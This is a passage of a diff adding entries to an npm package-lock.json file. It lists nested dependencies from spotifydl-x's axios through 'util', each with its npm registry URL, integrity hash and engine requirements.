"^2.10.4" + } + }, + "node_modules/spotifydl-x/node_modules/axios": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.4.0.tgz", + "integrity": "sha512-S4XCWMEmzvo64T9GfvQDOXgYRDJ/wsSZc7Jvdgx5u1sd0JwsuPLqb3SYmusag+edF6ziyMensPVqLTSc1PiSEA==", + "dependencies": { + "follow-redirects": "^1.15.0", + "form-data": "^4.0.0", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/spotifydl-x/node_modules/fs-extra": { + "version": "11.1.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.1.1.tgz", + "integrity": "sha512-MGIE4HOvQCeUCzmlHs0vXpih4ysz4wg9qiSAu6cd42lVwPbTM1TjV7RusoyQqMmk/95gdQZX72u+YW+c3eEpFQ==", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/sprintf-js": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", + "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==" + }, + "node_modules/sshpk": { + "version": "1.17.0", + "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.17.0.tgz", + "integrity": "sha512-/9HIEs1ZXGhSPE8X6Ccm7Nam1z8KcoCqPdI7ecm1N33EzAetWahvQWVqLZtaZQ+IDKX4IyA2o0gBzqIMkAagHQ==", + "dependencies": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + }, + "bin": { + "sshpk-conv": "bin/sshpk-conv", + "sshpk-sign": "bin/sshpk-sign", + "sshpk-verify": "bin/sshpk-verify" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/steno": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/steno/-/steno-1.0.0.tgz", + "integrity": "sha512-C/KgCvEa1yWnpHmaPjAXrz1yWxh6hs+HvhqqPa71euaQmNi1wr4+WFo57VQxjKKuFl2KqS7gtlrN0oxj2noQLw==" + }, + "node_modules/stream-shift": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz", + "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==" + }, + "node_modules/streamsearch": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-1.1.0.tgz", + "integrity": "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/string-template": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/string-template/-/string-template-1.0.0.tgz", + "integrity": "sha512-SLqR3GBUXuoPP5MmYtD7ompvXiG87QjT6lzOszyXjTM86Uu7At7vNnt2xgyTLq5o9T4IxTYFyGxcULqpsmsfdg==" + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/stringz": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/stringz/-/stringz-2.1.0.tgz", + "integrity": "sha512-KlywLT+MZ+v0IRepfMxRtnSvDCMc3nR1qqCs3m/qIbSOWkNZYT8XHQA31rS3TnKp0c5xjZu3M4GY/2aRKSi/6A==", + "dependencies": { + "char-regex": "^1.0.2" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strnum": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/strnum/-/strnum-1.0.5.tgz", + "integrity": "sha512-J8bbNyKKXl5qYcR36TIO8W3mVGVHrmmxsd5PAItGkmyzwJvybiw2IVq5nqd0i4LSNSkB/sx9VHllbfFdr9k1JA==", + "optional": true + }, + "node_modules/strtok3": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-6.3.0.tgz", + "integrity": "sha512-fZtbhtvI9I48xDSywd/somNqgUHl2L2cstmXCCif0itOf96jeW18MBSyrLuNicYQVkvpOxkZtkzujiTJ9LW5Jw==", + "dependencies": { + "@tokenizer/token": "^0.3.0", + "peek-readable": "^4.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/superagent": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/superagent/-/superagent-6.1.0.tgz", + "integrity": "sha512-OUDHEssirmplo3F+1HWKUrUjvnQuA+nZI6i/JJBdXb5eq9IyEQwPyPpqND+SSsxf6TygpBEkUjISVRN4/VOpeg==", + "deprecated": "Please upgrade to v7.0.2+ of superagent. We have fixed numerous issues with streams, form-data, attach(), filesystem errors not bubbling up (ENOENT on attach()), and all tests are now passing. See the releases tab for more information at .", + "dependencies": { + "component-emitter": "^1.3.0", + "cookiejar": "^2.1.2", + "debug": "^4.1.1", + "fast-safe-stringify": "^2.0.7", + "form-data": "^3.0.0", + "formidable": "^1.2.2", + "methods": "^1.1.2", + "mime": "^2.4.6", + "qs": "^6.9.4", + "readable-stream": "^3.6.0", + "semver": "^7.3.2" + }, + "engines": { + "node": ">= 7.0.0" + } + }, + "node_modules/superagent/node_modules/form-data": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz", + "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/superagent/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/superagent/node_modules/mime": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz", + "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/superagent/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/superagent/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==" + }, + "node_modules/syntax-error": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/syntax-error/-/syntax-error-1.4.0.tgz", + "integrity": "sha512-YPPlu67mdnHGTup2A8ff7BC2Pjq0e0Yp/IyTFN03zWO0RcK07uLcbi7C2KpGR2FvWbaB0+bfE27a+sBKebSo7w==", + "dependencies": { + "acorn-node": "^1.2.0" + } + }, + "node_modules/systeminformation": { + "version": "5.21.4", + "resolved": "https://registry.npmjs.org/systeminformation/-/systeminformation-5.21.4.tgz", + "integrity": "sha512-fLW6j47UoAJDlZPEqykkWTKxubxb8IFuow6pMQlqf4irZ2lBgCrCReavMkH2t8VxxjOcg6wBlZ2EPQcluAT6xg==", + "optional": true, + "os": [ + "darwin", + "linux", + "win32", + "freebsd", + "openbsd", + "netbsd", + "sunos", + "android" + ], + "bin": { + "systeminformation": "lib/cli.js" + }, + "engines": { + "node": ">=8.0.0" + }, + "funding": { + "type": "Buy me a coffee", + "url": "https://www.buymeacoffee.com/systeminfo" + } + }, + "node_modules/thread-stream": { + "version": "0.15.2", + "resolved": "https://registry.npmjs.org/thread-stream/-/thread-stream-0.15.2.tgz", + "integrity": "sha512-UkEhKIg2pD+fjkHQKyJO3yoIvAP3N6RlNFt2dUhcS1FGvCD1cQa1M/PGknCLFIyZdtJOWQjejp7bdNqmN7zwdA==", + "dependencies": { + "real-require": "^0.1.0" + } + }, + "node_modules/timers-ext": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/timers-ext/-/timers-ext-0.1.7.tgz", + "integrity": "sha512-b85NUNzTSdodShTIbky6ZF02e8STtVVfD+fu4aXXShEELpozH+bCpJLYMPZbsABN2wDH7fJpqIoXxJpzbf0NqQ==", + "dependencies": { + "es5-ext": "~0.10.46", + "next-tick": "1" + } + }, + "node_modules/timm": { + "version": "1.7.1", + "resolved": "https://registry.npmjs.org/timm/-/timm-1.7.1.tgz", + "integrity": "sha512-IjZc9KIotudix8bMaBW6QvMuq64BrJWFs1+4V0lXwWGQZwH+LnX87doAYhem4caOEusRP9/g6jVDQmZ8XOk1nw==" + }, + "node_modules/tiny-emitter": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/tiny-emitter/-/tiny-emitter-2.1.0.tgz", + "integrity": "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q==" + }, + "node_modules/tinycolor2": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/tinycolor2/-/tinycolor2-1.6.0.tgz", + "integrity": "sha512-XPaBkWQJdsf3pLKJV9p4qN/S+fm2Oj8AIPo1BTUhg5oxkvm9+SVEGFdhyOz7tTdUTfvxMiAs4sp6/eZO2Ew+pw==" + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/token-types": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/token-types/-/token-types-4.2.1.tgz", + "integrity": "sha512-6udB24Q737UD/SDsKAHI9FCRP7Bqc9D/MQUV02ORQg5iskjtLJlZJNdN4kKtcdtwCeWIwIHDGaUsTsCCAa8sFQ==", + "dependencies": { + "@tokenizer/token": "^0.3.0", + "ieee754": "^1.2.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/touch": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/touch/-/touch-3.1.0.tgz", + "integrity": "sha512-WBx8Uy5TLtOSRtIq+M03/sKDrXCLHxwDcquSP2c43Le03/9serjQBIztjRz6FkJez9D/hleyAXTBGLwwZUw9lA==", + "dependencies": { + "nopt": "~1.0.10" + }, + "bin": { + "nodetouch": "bin/nodetouch.js" + } + }, + "node_modules/touch/node_modules/nopt": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-1.0.10.tgz", + "integrity": "sha512-NWmpvLSqUrgrAC9HCuxEvb+PSloHpqVu+FqcO4eeF2h5qYRhA7ev6KvelyQAKtegUbC6RypJnlEOhd8vloNKYg==", + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": "*" + } + }, + "node_modules/tough-cookie": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz", + "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==", + "dependencies": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tough-cookie/node_modules/universalify": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", + "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/tr46": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz", + "integrity": "sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==", + "dependencies": { + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ts-node": { + "version": "10.9.1", + "resolved": "https://registry.npmjs.org/ts-node/-/ts-node-10.9.1.tgz", + "integrity": "sha512-NtVysVPkxxrwFGUUxGYhfux8k78pQB3JqYBXlLRZgdGUqTO5wU/UyHop5p70iEbGhB7q5KmiZiU0Y3KlJrScEw==", + "dependencies": { + "@cspotcode/source-map-support": "^0.8.0", + "@tsconfig/node10": "^1.0.7", + "@tsconfig/node12": "^1.0.7", + "@tsconfig/node14": "^1.0.0", + "@tsconfig/node16": "^1.0.2", + "acorn": "^8.4.1", + "acorn-walk": "^8.1.1", + "arg": "^4.1.0", + "create-require": "^1.1.0", + "diff": "^4.0.1", + "make-error": "^1.1.1", + "v8-compile-cache-lib": "^3.0.1", + "yn": "3.1.1" + }, + "bin": { + "ts-node": "dist/bin.js", + "ts-node-cwd": "dist/bin-cwd.js", + "ts-node-esm": "dist/bin-esm.js", + "ts-node-script": "dist/bin-script.js", + "ts-node-transpile-only": "dist/bin-transpile.js", + "ts-script": "dist/bin-script-deprecated.js" + }, + "peerDependencies": { + "@swc/core": ">=1.2.50", + "@swc/wasm": ">=1.2.50", + "@types/node": "*", + "typescript": ">=2.7" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "@swc/wasm": { + "optional": true + } + } + }, + "node_modules/ts-node/node_modules/acorn-walk": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.2.0.tgz", + "integrity": "sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/tslib": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", + "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==" + }, + "node_modules/ttys": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/ttys/-/ttys-0.0.3.tgz", + "integrity": "sha512-UCqXRZS2S7U4aVB7Salj3ChPRSsb57ogJpJ1eMCvyowxFOBGsaHKcRU8bovcDwajX1mRbv0IpUnYkoG7Ieo5Zg==", + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/tv4": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/tv4/-/tv4-1.3.0.tgz", + "integrity": "sha512-afizzfpJgvPr+eDkREK4MxJ/+r8nEEHcmitwgnPUqpaP+FpwQyadnxNoSACbgc/b1LsZYtODGoPiFxQrgJgjvw==", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==" + }, + "node_modules/tx2": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/tx2/-/tx2-1.0.5.tgz", + "integrity": "sha512-sJ24w0y03Md/bxzK4FU8J8JveYYUbSs2FViLJ2D/8bytSiyPRbuE3DyL/9UKYXTZlV3yXq0L8GLlhobTnekCVg==", + "optional": true, + "dependencies": { + "json-stringify-safe": "^5.0.1" + } + }, + "node_modules/type": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/type/-/type-1.2.0.tgz", + "integrity": "sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg==" + }, + "node_modules/type-check": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", + "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==", + "dependencies": { + "prelude-ls": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/type-is/node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/typed-function": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/typed-function/-/typed-function-4.1.0.tgz", + "integrity": "sha512-DGwUl6cioBW5gw2L+6SMupGwH/kZOqivy17E4nsh1JI9fKF87orMmlQx3KISQPmg3sfnOUGlwVkroosvgddrlg==", + "engines": { + "node": ">= 14" + } + }, + "node_modules/typedarray": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", + "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==" + }, + "node_modules/typescript": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.1.6.tgz", + "integrity": "sha512-zaWCozRZ6DLEWAWFrVDz1H6FVXzUSfTy5FUMWsQlU8Ym5JP9eO4xkTIROFCQvhQf61z6O/G6ugw3SgAnvvm+HA==", + "peer": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/typical": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/typical/-/typical-4.0.0.tgz", + "integrity": "sha512-VAH4IvQ7BDFYglMd7BPRDfLgxZZX4O4TFcRDA6EN5X7erNJJq+McIEp8np9aVtxrCJ6qx4GTYVfOWNjcqwZgRw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/undefsafe": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/undefsafe/-/undefsafe-2.0.5.tgz", + "integrity": "sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA==" + }, + "node_modules/unirest": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/unirest/-/unirest-0.6.0.tgz", + "integrity": "sha512-BdYdcYJHXACqZ53k8Zz7QlNK/1W/HjCZlmg1OaaN/oTSp4FTWh0upXGSJsG88PljDBpSrNc2R649drasUA9NEg==", + "dependencies": { + "form-data": "^0.2.0", + "mime": "^2.4.0", + "request": "^2.88.0" + } + }, + "node_modules/unirest/node_modules/async": { + "version": "0.9.2", + "resolved": "https://registry.npmjs.org/async/-/async-0.9.2.tgz", + "integrity": "sha512-l6ToIJIotphWahxxHyzK9bnLR6kM4jJIIgLShZeqLY7iboHoGkdgFl7W2/Ivi4SkMJYGKqW8vSuk0uKUj6qsSw==" + }, + "node_modules/unirest/node_modules/combined-stream": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-0.0.7.tgz", + "integrity": "sha512-qfexlmLp9MyrkajQVyjEDb0Vj+KhRgR/rxLiVhaihlT+ZkX0lReqtH6Ack40CvMDERR4b5eFp3CreskpBs1Pig==", + "dependencies": { + "delayed-stream": "0.0.5" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/unirest/node_modules/delayed-stream": { + "version": "0.0.5", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-0.0.5.tgz", + "integrity": "sha512-v+7uBd1pqe5YtgPacIIbZ8HuHeLFVNe4mUEyFDXL6KiqzEykjbw+5mXZXpGFgNVasdL4jWKgaKIXrEHiynN1LA==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/unirest/node_modules/form-data": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-0.2.0.tgz", + "integrity": "sha512-LkinaG6JazVhYj2AKi67NOIAhqXcBOQACraT0WdhWW4ZO3kTiS0X7C1nJ1jFZf6wak4bVHIA/oOzWkh2ThAipg==", + "dependencies": { + "async": "~0.9.0", + "combined-stream": "~0.0.4", + "mime-types": "~2.0.3" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/unirest/node_modules/mime": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz", + "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/unirest/node_modules/mime-db": { + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.12.0.tgz", + "integrity": "sha512-5aMAW7I4jZoZB27fXRuekqc4DVvJ7+hM8UcWrNj2mqibE54gXgPSonBYBdQW5hyaVNGmiYjY0ZMqn9fBefWYvA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/unirest/node_modules/mime-types": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.0.14.tgz", + "integrity": "sha512-2ZHUEstNkIf2oTWgtODr6X0Cc4Ns/RN/hktdozndiEhhAC2wxXejF1FH0XLHTEImE9h6gr/tcnr3YOnSGsxc7Q==", + "dependencies": { + "mime-db": "~1.12.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/url": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/url/-/url-0.11.1.tgz", + "integrity": "sha512-rWS3H04/+mzzJkv0eZ7vEDGiQbgquI1fGfOad6zKvgYQi1SzMmhl7c/DdRGxhaWrVH6z0qWITo8rpnxK/RfEhA==", + "dependencies": { + "punycode": "^1.4.1", + "qs": "^6.11.0" + } + }, + "node_modules/url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "dependencies": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "node_modules/url/node_modules/punycode": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", + "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==" + }, + "node_modules/utif": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/utif/-/utif-2.0.1.tgz", + "integrity": "sha512-Z/S1fNKCicQTf375lIP9G8Sa1H/phcysstNrrSdZKj1f9g58J4NMgb5IgiEZN9/nLMPDwF0W7hdOe9Qq2IYoLg==", + "dependencies": { + "pako": "^1.0.5" + } + }, + "node_modules/util": { + "version": "0.12.5", + "resolved": "https://registry.npmjs.org/util/-/util-0.12.5.tgz", + "integrity": "sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==", + "dependencies": { + "inherits": "^2.0.3", + "is-arguments": "^1.0.4", + "is-generator-function": "^1.0.7", + 